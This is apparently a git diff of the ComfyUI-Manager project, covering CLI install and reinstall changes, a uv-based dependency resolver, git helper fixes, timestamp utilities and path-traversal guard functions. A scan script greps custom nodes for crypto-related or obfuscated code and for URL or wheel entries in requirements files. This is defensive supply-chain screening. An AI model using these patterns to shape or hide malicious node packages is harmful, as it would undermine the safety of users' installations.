@@ -189,7 +189,7 @@ The following settings are applied based on the section marked as `is_default`.
* Dragging and dropping or pasting a single component will add a node. However, when adding multiple components, nodes will not be added.
## Support of missing nodes installation
## Support for installing missing nodes
![missing-menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/missing-menu.jpg)
@@ -229,10 +229,10 @@ The following settings are applied based on the section marked as `is_default`.
* Logging to file feature
* This feature is enabled by default and can be disabled by setting `file_logging = False` in the `config.ini`.
* Fix node(recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
* Fix node (recreate): When right-clicking on a node and selecting `Fix node (recreate)`, you can recreate the node. The widget's values are reset, while the connections maintain those with the same names.
* It is used to correct errors in nodes of old workflows created before, which are incompatible with the version changes of custom nodes.
* Double-Click Node Title: You can set the double click behavior of nodes in the ComfyUI-Manager menu.
* Double-Click Node Title: You can set the double-click behavior of nodes in the ComfyUI-Manager menu.
* `Copy All Connections`, `Copy Input Connections`: Double-clicking a node copies the connections of the nearest node.
* This action targets the nearest node within a straight-line distance of 1000 pixels from the center of the node.
* In the case of `Copy All Connections`, it duplicates existing outputs, but since it does not allow duplicate connections, the existing output connections of the original node are disconnected.
@@ -298,17 +298,17 @@ When you run the `scan.sh` script:
* It updates the `github-stats.json`.
* This uses the GitHub API, so set your token with `export GITHUB_TOKEN=your_token_here` to avoid quickly reaching the rate limit and malfunctioning.
* To skip this step, add the `--skip-update-stat` option.
* To skip this step, add the `--skip-stat-update` option.
* The `--skip-all` option applies both `--skip-update` and `--skip-stat-update`.
## Troubleshooting
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini` file that is generated.
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/__manager/config.ini` file that is generated.
* If updating ComfyUI-Manager itself fails, please go to the **ComfyUI-Manager** directory and execute the command `git update-ref refs/remotes/origin/main a361cc1 && git fetch --all && git pull`.
* If you encounter the error message `Overlapped Object has pending operation at deallocation on Comfyui Manager load` under Windows
* If you encounter the error message `Overlapped Object has pending operation at deallocation on ComfyUI Manager load` under Windows
* Edit `config.ini` file: add `windows_selector_event_loop_policy = True`
* if `SSL: CERTIFICATE_VERIFY_FAILED` error is occured.
* If the `SSL: CERTIFICATE_VERIFY_FAILED` error occurs.
* Edit `config.ini` file: add `bypass_ssl = True`
+2 -2
View File
@@ -37,7 +37,7 @@ find ~/.tmp/default -name "*.py" -print0 | xargs -0 grep -E "crypto|^_A="
echo
echo CHECK3
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*https\\?:"
find ~/.tmp/default -name "requirements.txt" | xargs grep "\.whl"
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#]*https\?:"
find ~/.tmp/default -name "requirements.txt" | xargs grep "^\s*[^#].*\.whl"
echo
+3
View File
@@ -0,0 +1,3 @@
def main():
from .__main__ import main as _main
_main()
@@ -15,8 +15,6 @@ import git
import importlib
from ..common import manager_util
# read env vars
# COMFYUI_FOLDERS_BASE_PATH is not required in cm-cli.py
# `comfy_path` should be resolved before importing manager_core
@@ -35,11 +33,12 @@ if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
import utils.extra_config
from ..common import cm_global
from ..legacy import manager_core as core
from ..common import context
from ..legacy.manager_core import unified_manager
from ..common import cnr_utils
from comfyui_manager.common import manager_util
from comfyui_manager.common import cm_global
from comfyui_manager.legacy import manager_core as core
from comfyui_manager.common import context
from comfyui_manager.legacy.manager_core import unified_manager
from comfyui_manager.common import cnr_utils
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
@@ -184,18 +183,22 @@ class Ctx:
cmd_ctx = Ctx()
class NodeInstallError(Exception):
"""Raised when a node installation fails and the caller requested failure propagation."""
pass
def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
exit_on_fail = kwargs.get('exit_on_fail', False)
print(f"install_node exit on fail:{exit_on_fail}...")
raise_on_fail = kwargs.get('raise_on_fail', False)
if core.is_valid_url(node_spec_str):
# install via urls
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
if not res.result:
print(res.msg)
print(f"[bold red]ERROR: An error occurred while installing '{node_spec_str}'.[/bold red]")
if exit_on_fail:
sys.exit(1)
if raise_on_fail:
raise NodeInstallError(node_spec_str)
else:
print(f"{cnt_msg} [INSTALLED] {node_spec_str:50}")
else:
@@ -230,17 +233,34 @@ def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
print("")
else:
print(f"[bold red]ERROR: An error occurred while installing '{node_name}'.\n{res.msg}[/bold red]")
if exit_on_fail:
sys.exit(1)
if raise_on_fail:
raise NodeInstallError(node_name)
def reinstall_node(node_spec_str, is_all=False, cnt_msg=''):
node_spec = unified_manager.resolve_node_spec(node_spec_str)
if core.is_valid_url(node_spec_str):
# URL-based: resolve_node_spec returns the full URL as node_name,
# but internal dicts are keyed by repo basename or cnr_id.
url = node_spec_str.rstrip('/')
cnr = unified_manager.get_cnr_by_repo(url)
if cnr:
node_id = cnr['id']
unified_manager.unified_uninstall(node_id, False)
unified_manager.purge_node_state(node_id)
else:
repo_name = os.path.splitext(os.path.basename(url))[0]
unified_manager.unified_uninstall(repo_name, True)
unified_manager.purge_node_state(repo_name)
node_name, version_spec, _ = node_spec
install_node(node_spec_str, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
else:
node_spec = unified_manager.resolve_node_spec(node_spec_str)
node_name, version_spec, _ = node_spec
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg)
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
unified_manager.purge_node_state(node_name)
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
def fix_node(node_spec_str, is_all=False, cnt_msg=''):
@@ -614,14 +634,20 @@ def for_each_nodes(nodes, act, allow_all=True, **kwargs):
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui', 'all']]
total = len(nodes)
i = 1
for x in nodes:
failed = []
for i, x in enumerate(nodes, 1):
try:
act(x, is_all=is_all, cnt_msg=f'{i}/{total}', **kwargs)
except NodeInstallError:
failed.append(x)
except Exception as e:
print(f"ERROR: {e}")
traceback.print_exc()
i += 1
failed.append(x)
if failed:
print(f"\n[bold red]Failed nodes ({len(failed)}/{total}): {', '.join(str(x) for x in failed)}[/bold red]")
sys.exit(1)
app = typer.Typer()
@@ -657,6 +683,14 @@ def install(
help="Skip installing any Python dependencies",
),
] = False,
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After installing, batch-resolve all dependencies via uv pip compile",
),
] = False,
user_directory: str = typer.Option(
None,
help="user directory"
@@ -668,11 +702,20 @@ def install(
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
cmd_ctx.set_no_deps(no_deps)
if uv_compile and no_deps:
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
raise typer.Exit(1)
if uv_compile:
cmd_ctx.set_no_deps(True)
else:
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, act=install_node, exit_on_fail=exit_on_fail)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Reinstall custom nodes")
@@ -699,6 +742,14 @@ def reinstall(
help="Skip installing any Python dependencies",
),
] = False,
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After reinstalling, batch-resolve all dependencies via uv pip compile",
),
] = False,
user_directory: str = typer.Option(
None,
help="user directory"
@@ -706,11 +757,20 @@ def reinstall(
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
cmd_ctx.set_no_deps(no_deps)
if uv_compile and no_deps:
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
raise typer.Exit(1)
if uv_compile:
cmd_ctx.set_no_deps(True)
else:
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, act=reinstall_node)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Uninstall custom nodes")
@@ -755,10 +815,21 @@ def update(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After updating, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
if 'all' in nodes:
asyncio.run(auto_save_snapshot())
@@ -770,7 +841,8 @@ def update(
break
update_parallel(nodes)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Disable custom nodes")
@@ -856,16 +928,28 @@ def fix(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After fixing, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
if 'all' in nodes:
asyncio.run(auto_save_snapshot())
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, fix_node, allow_all=True)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command("show-versions", help="Show all available versions of the node")
@@ -968,31 +1052,6 @@ def simple_show(
show_list(arg, True)
@app.command('cli-only-mode', help="Set whether to use ComfyUI-Manager in CLI-only mode.")
def cli_only_mode(
mode: str = typer.Argument(
..., help="[enable|disable]"
),
user_directory: str = typer.Option(
None,
help="user directory"
)
):
cmd_ctx.set_user_directory(user_directory)
cli_mode_flag = os.path.join(cmd_ctx.manager_files_directory, '.enable-cli-only-mode')
if mode.lower() == 'enable':
with open(cli_mode_flag, 'w'):
pass
print("\nINFO: `cli-only-mode` is enabled\n")
elif mode.lower() == 'disable':
if os.path.exists(cli_mode_flag):
os.remove(cli_mode_flag)
print("\nINFO: `cli-only-mode` is disabled\n")
else:
print(f"\n[bold red]Invalid value for cli-only-mode: {mode}[/bold red]\n")
exit(1)
@app.command(
"deps-in-workflow", help="Generate dependencies file from workflow (.json/.png)"
@@ -1087,7 +1146,7 @@ def save_snapshot(
@app.command("restore-snapshot", help="Restore snapshot from snapshot file")
def restore_snapshot(
snapshot_name: str,
snapshot_name: str,
pip_non_url: Optional[bool] = typer.Option(
default=None,
show_default=False,
@@ -1113,13 +1172,24 @@ def restore_snapshot(
restore_to: Optional[str] = typer.Option(
None,
help="Manually specify the installation path for the custom node. Ignore user directory."
)
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After restoring, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
if restore_to:
cmd_ctx.update_custom_nodes_dir(restore_to)
if uv_compile:
cmd_ctx.set_no_deps(True)
extras = []
if pip_non_url:
extras.append('--pip-non-url')
@@ -1146,8 +1216,11 @@ def restore_snapshot(
except Exception:
print("[bold red]ERROR: Failed to restore snapshot.[/bold red]")
traceback.print_exc()
if uv_compile:
pip_fixer.fix_broken()
raise typer.Exit(code=1)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(
@@ -1157,10 +1230,21 @@ def restore_dependencies(
user_directory: str = typer.Option(
None,
help="user directory"
)
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After restoring, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
if uv_compile:
cmd_ctx.set_no_deps(True)
node_paths = []
for base_path in cmd_ctx.get_custom_nodes_paths():
@@ -1176,9 +1260,10 @@ def restore_dependencies(
for x in node_paths:
print("----------------------------------------------------------------------------------------------------")
print(f"Restoring [{i}/{total}]: {x}")
unified_manager.execute_install_script('', x, instant_execution=True)
unified_manager.execute_install_script('', x, instant_execution=True, no_deps=bool(uv_compile))
i += 1
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(
@@ -1219,9 +1304,21 @@ def install_deps(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After installing, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
asyncio.run(auto_save_snapshot())
if not os.path.exists(deps):
@@ -1241,14 +1338,114 @@ def install_deps(
if state == 'installed':
continue
elif state == 'not-installed':
asyncio.run(core.gitclone_install(k, instant_execution=True))
asyncio.run(core.gitclone_install(k, instant_execution=True, no_deps=bool(uv_compile)))
else: # disabled
core.gitclone_set_active([k], False)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
print("Dependency installation and activation complete.")
def _finalize_resolve(pip_fixer, uv_compile) -> None:
"""Run batch resolution if --uv-compile is set, then fix broken packages."""
if uv_compile:
try:
_run_unified_resolve()
except ImportError as e:
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
raise typer.Exit(1)
except typer.Exit:
raise
except Exception as e:
print(f"[bold red]Batch resolution failed: {e}[/bold red]")
raise typer.Exit(1)
finally:
pip_fixer.fix_broken()
else:
pip_fixer.fix_broken()
def _run_unified_resolve():
"""Shared logic for unified batch dependency resolution."""
from comfyui_manager.common.unified_dep_resolver import (
UnifiedDepResolver,
UvNotAvailableError,
attribute_conflicts,
collect_base_requirements,
collect_node_pack_paths,
)
node_pack_paths = collect_node_pack_paths(cmd_ctx.get_custom_nodes_paths())
if not node_pack_paths:
print("[bold yellow]No custom node packs found.[/bold yellow]")
return
print(f"Resolving dependencies for {len(node_pack_paths)} node pack(s)...")
resolver = UnifiedDepResolver(
node_pack_paths=node_pack_paths,
base_requirements=collect_base_requirements(comfy_path),
blacklist=cm_global.pip_blacklist,
overrides=cm_global.pip_overrides,
downgrade_blacklist=cm_global.pip_downgrade_blacklist,
)
try:
result = resolver.resolve_and_install()
except UvNotAvailableError:
print("[bold red]uv is not available. Install uv to use this feature.[/bold red]")
raise typer.Exit(1)
if result.success:
collected = result.collected
if collected:
print(
f"[bold green]Resolved {len(collected.requirements)} deps "
f"from {len(collected.sources)} source(s) "
f"(skipped {len(collected.skipped)}).[/bold green]"
)
else:
print("[bold green]Resolution complete (no deps needed).[/bold green]")
else:
print(f"[bold red]Resolution failed: {result.error}[/bold red]")
if result.lockfile and result.lockfile.conflicts and result.collected:
attributed = attribute_conflicts(result.collected.sources, result.lockfile.conflicts)
if attributed:
print("[bold yellow]Conflicting packages (by node pack):[/bold yellow]")
for pkg_name, requesters in sorted(attributed.items()):
print(f" [yellow]{pkg_name}[/yellow]:")
for pack_path, pkg_spec in requesters:
print(f" {os.path.basename(pack_path)}{pkg_spec}")
raise typer.Exit(1)
@app.command(
"uv-sync",
help="Batch-resolve and install all custom node dependencies via uv pip compile.",
)
def unified_uv_compile(
user_directory: str = typer.Option(
None,
help="user directory"
),
):
cmd_ctx.set_user_directory(user_directory)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
try:
_run_unified_resolve()
except ImportError as e:
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
raise typer.Exit(1)
except typer.Exit:
raise
except Exception as e:
print(f"[bold red]Unexpected error: {e}[/bold red]")
raise typer.Exit(1)
finally:
pip_fixer.fix_broken()
@app.command(help="Clear reserved startup action in ComfyUI-Manager")
def clear():
cancel()
@@ -1292,6 +1489,91 @@ def export_custom_node_ids(
print(f"{x['id']}@unknown", file=output_file)
@app.command("update-cache", help="Force-fetch all remote data and populate local cache (blocking)")
def update_cache(
channel: Annotated[
str,
typer.Option(
show_default=False,
help="Specify the channel"
),
] = None,
user_directory: str = typer.Option(
None,
help="user directory"
),
):
cmd_ctx.set_user_directory(user_directory)
if channel is not None:
cmd_ctx.channel = channel
asyncio.run(_force_update_cache(cmd_ctx.channel))
async def _force_update_cache(channel):
"""Fetch all remote data and save to cache, bypassing pip/offline guards."""
core.refresh_channel_dict()
config = core.get_config()
channel_url = config['channel_url']
os.makedirs(manager_util.cache_dir, exist_ok=True)
failed = []
# Step 1: Fetch channel JSON files directly (bypasses get_data_by_mode pip guard)
filenames = [
"custom-node-list.json",
"extension-node-map.json",
"model-list.json",
"alter-list.json",
"github-stats.json",
]
async def fetch_and_cache(filename):
try:
if config.get('default_cache_as_channel_url'):
uri = f"{channel_url}/{filename}"
else:
uri = f"{core.DEFAULT_CHANNEL}/{filename}"
cache_uri = str(manager_util.simple_hash(uri)) + '_' + filename
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
json_obj = await manager_util.get_data(uri, silent=True)
with manager_util.cache_lock:
with open(cache_uri, "w", encoding='utf-8') as file:
json.dump(json_obj, file, indent=4, sort_keys=True)
print(f" [CACHED] {filename}")
except Exception as e:
print(f" [bold red][FAILED] {filename}: {e}[/bold red]")
failed.append(filename)
print("Fetching channel data...")
await asyncio.gather(*[fetch_and_cache(f) for f in filenames])
# Step 2: Reload unified_manager with remote mode
# cache_mode='remote' makes cache_mode==False in get_cnr_data,
# which bypasses the dont_wait block and triggers blocking fetch_all()
print("Fetching CNR registry data...")
try:
await unified_manager.reload('remote', dont_wait=False)
except Exception as e:
print(f" [bold red][FAILED] CNR registry: {e}[/bold red]")
failed.append("CNR registry")
# Step 3: Load nightly data (cache files now exist from Step 1)
print("Loading nightly data...")
await unified_manager.load_nightly(channel or 'default', 'cache')
if failed:
print(f"\n[bold red]Cache update incomplete. Failed: {', '.join(failed)}[/bold red]")
sys.exit(1)
else:
print("[bold green]Cache update complete.[/bold green]")
def main():
app()
+3 -2
View File
@@ -55,9 +55,10 @@ def should_be_disabled(fullpath:str) -> bool:
def get_client_ip(request):
peername = request.transport.get_extra_info("peername")
if peername is not None:
host, port = peername
# Grab the first two values - there can be more, ie. with --listen
host, port = peername[:2]
return host
return "unknown"
View File
+17
View File
@@ -0,0 +1,17 @@
from .timestamp_utils import (
current_timestamp,
get_timestamp_for_filename,
get_timestamp_for_path,
get_backup_branch_name,
get_now,
get_unix_timestamp,
)
__all__ = [
'current_timestamp',
'get_timestamp_for_filename',
'get_timestamp_for_path',
'get_backup_branch_name',
'get_now',
'get_unix_timestamp',
]
+5 -2
View File
@@ -69,7 +69,10 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
form_factor = 'git-linux'
else:
form_factor = 'other'
from comfyui_manager.glob import manager_core
verbose = manager_core.get_config().get('verbose', False)
while remained:
# Add comfyui_version and form_factor to the API request
sub_uri = f'{base_url}/nodes?page={page}&limit=30&comfyui_version={comfyui_ver}&form_factor={form_factor}'
@@ -79,7 +82,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
for x in sub_json_obj['nodes']:
full_nodes[x['id']] = x
if page % 5 == 0:
if page % 5 == 0 and verbose:
logging.info(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
page += 1
+4 -7
View File
@@ -22,7 +22,7 @@ if comfy_base_path is None:
comfy_base_path = comfy_path
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
git_script_path = os.path.join(manager_util.comfyui_manager_path, "git_helper.py")
git_script_path = os.path.join(manager_util.comfyui_manager_path, "common", "git_helper.py")
manager_files_path = None
manager_config_path = None
@@ -31,10 +31,9 @@ manager_startup_script_path:str = None
manager_snapshot_path = None
manager_pip_overrides_path = None
manager_pip_blacklist_path = None
manager_components_path = None
manager_batch_history_path = None
def update_user_directory(user_dir):
def update_user_directory(manager_dir):
global manager_files_path
global manager_config_path
global manager_channel_list_path
@@ -42,10 +41,9 @@ def update_user_directory(user_dir):
global manager_snapshot_path
global manager_pip_overrides_path
global manager_pip_blacklist_path
global manager_components_path
global manager_batch_history_path
manager_files_path = os.path.abspath(os.path.join(user_dir, 'default', 'ComfyUI-Manager'))
manager_files_path = manager_dir
if not os.path.exists(manager_files_path):
os.makedirs(manager_files_path)
@@ -61,7 +59,6 @@ def update_user_directory(user_dir):
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
manager_components_path = os.path.join(manager_files_path, "components")
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
manager_batch_history_path = os.path.join(manager_files_path, "batch_history")
@@ -73,7 +70,7 @@ def update_user_directory(user_dir):
try:
import folder_paths
update_user_directory(folder_paths.get_user_directory())
update_user_directory(folder_paths.get_system_user_directory("manager"))
except Exception:
# fallback:
+60 -8
View File
@@ -50,9 +50,6 @@ working_directory = os.getcwd()
if os.path.basename(working_directory) != 'custom_nodes':
print("WARN: This script should be executed in custom_nodes dir")
print(f"DBG: INFO {working_directory}")
print(f"DBG: INFO {sys.argv}")
# exit(-1)
class GitProgress(RemoteProgress):
@@ -67,14 +64,60 @@ class GitProgress(RemoteProgress):
self.pbar.refresh()
def get_backup_branch_name(repo=None):
"""Get backup branch name with current timestamp.
Inlined from timestamp_utils to keep git_helper.py standalone — this script
runs as a subprocess on Windows and must not import from comfyui_manager.
"""
import time as _time
import uuid as _uuid
base_name = f'backup_{_time.strftime("%Y%m%d_%H%M%S")}'
if repo is None:
return base_name
try:
existing_branches = {b.name for b in repo.heads}
except Exception:
return base_name
if base_name not in existing_branches:
return base_name
for i in range(1, 100):
new_name = f'{base_name}_{i}'
if new_name not in existing_branches:
return new_name
return f'{base_name}_{_uuid.uuid4().hex[:6]}'
def gitclone(custom_nodes_path, url, target_hash=None, repo_path=None):
repo_name = os.path.splitext(os.path.basename(url))[0]
if repo_path is None:
repo_path = os.path.join(custom_nodes_path, repo_name)
# Clone the repository from the remote URL
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=GitProgress())
# On Windows, previous failed clones may leave directories with locked
# .git/objects/pack/* files (GitPython memory-mapped handle leak).
# Rename stale directory out of the way so clone can proceed.
if os.path.exists(repo_path):
import shutil
import uuid as _uuid
trash_dir = os.path.join(custom_nodes_path, '.disabled', '.trash')
os.makedirs(trash_dir, exist_ok=True)
trash = os.path.join(trash_dir, repo_name + f'_{_uuid.uuid4().hex[:8]}')
try:
os.rename(repo_path, trash)
shutil.rmtree(trash, ignore_errors=True)
except OSError:
shutil.rmtree(repo_path, ignore_errors=True)
# Disable tqdm progress when stderr is piped to avoid deadlock on Windows.
progress = GitProgress() if sys.stderr.isatty() else None
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=progress)
if target_hash is not None:
print(f"CHECKOUT: {repo_name} [{target_hash}]")
@@ -222,7 +265,14 @@ def gitpull(path):
repo.close()
return
remote.pull()
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
repo.git.submodule('update', '--init', '--recursive')
new_commit_hash = repo.head.commit.hexsha
@@ -520,7 +570,9 @@ try:
restore_pip_snapshot(pips, options)
sys.exit(0)
except Exception as e:
print(e)
sys.exit(-1)
print(e, file=sys.stderr)
if hasattr(e, 'stderr') and e.stderr:
print(e.stderr, file=sys.stderr)
sys.exit(1)
+6
View File
@@ -74,6 +74,12 @@ def normalize_to_github_id(url) -> str:
return f"{author}/{repo_name}"
# Handle short format like "author/repo" (aux_id format)
if '/' in url and not url.startswith('http'):
parts = url.split('/')
if len(parts) == 2 and parts[0] and parts[1]:
return url
return None
@@ -1,4 +1,6 @@
import os
from enum import Enum
from typing import Optional
is_personal_cloud_mode = False
handler_policy = {}
@@ -34,3 +36,35 @@ def add_handler_policy(x, policy):
multiple_remote_alert = do_nothing
def is_safe_path_target(target: str) -> bool:
"""
Check if target string is safe from path traversal attacks.
Args:
target: User-provided filename or identifier
Returns:
True if safe, False if contains path traversal characters
"""
if '/' in target or '\\' in target or '..' in target or '\x00' in target:
return False
return True
def get_safe_file_path(target: str, base_dir: str, extension: str = ".json") -> Optional[str]:
"""
Safely construct a file path, preventing path traversal attacks.
Args:
target: User-provided filename (without extension)
base_dir: Base directory path
extension: File extension to append (default: ".json")
Returns:
Safe file path or None if input contains path traversal attempts
"""
if not is_safe_path_target(target):
return None
return os.path.join(base_dir, f"{target}{extension}")
+3 -2
View File
@@ -8,13 +8,13 @@ import aiohttp
import json
import threading
import os
from datetime import datetime
import subprocess
import sys
import re
import logging
import platform
import shlex
import time
from functools import lru_cache
@@ -25,6 +25,7 @@ comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '
cache_dir = os.path.join(comfyui_manager_path, '.cache') # This path is also updated together in **manager_core.update_user_directory**.
use_uv = False
use_unified_resolver = False
bypass_ssl = False
def is_manager_pip_package():
@@ -176,7 +177,7 @@ def is_file_created_within_one_day(file_path):
return False
file_creation_time = os.path.getctime(file_path)
current_time = datetime.now().timestamp()
current_time = time.time()
time_difference = current_time - file_creation_time
return time_difference <= 86400
+136
View File
@@ -0,0 +1,136 @@
"""
Robust timestamp utilities with datetime fallback.
Some environments (especially Mac) have issues with the datetime module
due to local file name conflicts or Homebrew Python module path issues.
"""
import logging
import time as time_module
import uuid
_datetime_available = None
_dt_datetime = None
def _init_datetime():
"""Initialize datetime availability check (lazy, once)."""
global _datetime_available, _dt_datetime
if _datetime_available is not None:
return
try:
import datetime as dt
if hasattr(dt, 'datetime'):
from datetime import datetime as dt_datetime
_dt_datetime = dt_datetime
_datetime_available = True
return
except Exception as e:
logging.debug(f"[ComfyUI-Manager] datetime import failed: {e}")
_datetime_available = False
logging.warning("[ComfyUI-Manager] datetime unavailable, using time module fallback")
def current_timestamp() -> str:
"""
Get current timestamp for logging.
Format: YYYY-MM-DD HH:MM:SS.mmm (or Unix timestamp if fallback)
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
return str(time_module.time()).split('.')[0]
def get_timestamp_for_filename() -> str:
"""
Get timestamp suitable for filenames.
Format: YYYYMMDD_HHMMSS
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y%m%d_%H%M%S')
return time_module.strftime('%Y%m%d_%H%M%S')
def get_timestamp_for_path() -> str:
"""
Get timestamp for path/directory names.
Format: YYYY-MM-DD_HH-MM-SS
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
return time_module.strftime('%Y-%m-%d_%H-%M-%S')
def get_backup_branch_name(repo=None) -> str:
"""
Get backup branch name with current timestamp.
Format: backup_YYYYMMDD_HHMMSS (or backup_YYYYMMDD_HHMMSS_N if exists)
Args:
repo: Optional git.Repo object. If provided, checks for name collisions
and adds sequential suffix if needed.
Returns:
Unique backup branch name.
"""
base_name = f'backup_{get_timestamp_for_filename()}'
if repo is None:
return base_name
# Check if branch exists
try:
existing_branches = {b.name for b in repo.heads}
except Exception:
return base_name
if base_name not in existing_branches:
return base_name
# Add sequential suffix
for i in range(1, 100):
new_name = f'{base_name}_{i}'
if new_name not in existing_branches:
return new_name
# Ultimate fallback: use UUID (very unlikely to reach here)
return f'{base_name}_{uuid.uuid4().hex[:6]}'
def get_now():
"""
Get current datetime object.
Returns datetime.now() if available, otherwise a FakeDatetime object
that supports basic operations (timestamp(), strftime()).
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now()
# Fallback: return object with basic datetime-like interface
t = time_module.localtime()
class FakeDatetime:
def timestamp(self):
return time_module.time()
def strftime(self, fmt):
return time_module.strftime(fmt, t)
def isoformat(self):
return time_module.strftime('%Y-%m-%dT%H:%M:%S', t)
return FakeDatetime()
def get_unix_timestamp() -> float:
"""Get current Unix timestamp."""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().timestamp()
return time_module.time()
@@ -0,0 +1,724 @@
"""Unified Dependency Resolver for ComfyUI Manager.
Resolves and installs all node-pack dependencies at once using ``uv pip compile``
followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
Responsibility scope
--------------------
- Dependency collection, resolution, and installation **only**.
- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
See Also
--------
- docs/dev/PRD-unified-dependency-resolver.md
- docs/dev/DESIGN-unified-dependency-resolver.md
"""
from __future__ import annotations
import logging
import os
import re
import shutil
import subprocess
import sys
import tempfile
import time
from collections import defaultdict
from dataclasses import dataclass, field
from . import manager_util
logger = logging.getLogger("ComfyUI-Manager")
# ---------------------------------------------------------------------------
# Exceptions
# ---------------------------------------------------------------------------
class UvNotAvailableError(RuntimeError):
"""Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
# ---------------------------------------------------------------------------
# Data classes
# ---------------------------------------------------------------------------
@dataclass
class PackageRequirement:
"""Individual package dependency."""
name: str # Normalised package name
spec: str # Original spec string (e.g. ``torch>=2.0``)
source: str # Absolute path of the source node pack
@dataclass
class CollectedDeps:
"""Aggregated dependency collection result."""
requirements: list[PackageRequirement] = field(default_factory=list)
